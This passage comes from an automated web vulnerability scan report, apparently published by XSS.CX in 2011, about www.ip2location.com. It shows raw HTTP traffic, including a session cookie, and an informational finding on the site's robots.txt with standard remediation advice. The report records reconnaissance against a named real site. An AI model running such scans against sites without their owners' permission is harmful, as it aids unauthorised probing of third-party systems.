Cookie: ASP.NET_SessionId=kn0jgq2p3fp5nm55wq3ftlm3; URLReferral=http://ezooms.com/; customerreferer=customerreferer=http://ezooms.com/; firstvisit=firstvisit=2011-03-21 9:38:18; __utmz=1.1300671564.1.1.utmcsr=ezooms.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=1.1993593423.1300671564.1300671564.1300671564.1; __utmc=1; __utmb=1.1.10.1300671564
Content-Length: 35

ipaddresses=&submit.x=26&submit.y=8

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 55312
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-AspNet-Version: 1.1.4322
Date: Mon, 21 Mar 2011 01:38:45 GMT


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Free Product Demo, Tools and Sample Databases</title>
<meta content="IP2Location&trade; Free Product Demo, Fre
...[SNIP]...
<!--

//Pop up information box II (Mike McGrath (mike_mcgrath@lineone.net, http://website.lineone.net/~mike_mcgrath))
//Permission granted to Dynamicdrive.com to include script in archive
//For this and 100's more DHTML scripts, visit http://dynamicdrive.com

Xoffset=2
...[SNIP]...

8. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ip2location.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.ip2location.com

Response

HTTP/1.1 200 OK
Content-Length: 24
Content-Type: text/plain
Last-Modified: Mon, 20 Dec 2010 08:17:00 GMT
Accept-Ranges: bytes
ETag: "98c25f461ea0cb1:8c4"
Server: Microsoft-IIS/6.0
Date: Mon, 21 Mar 2011 01:38:19 GMT
Connection: close

User-agent: *
Disallow:

Report generated by XSS.CX at Sun Mar 20 20:44:41 CDT 2011.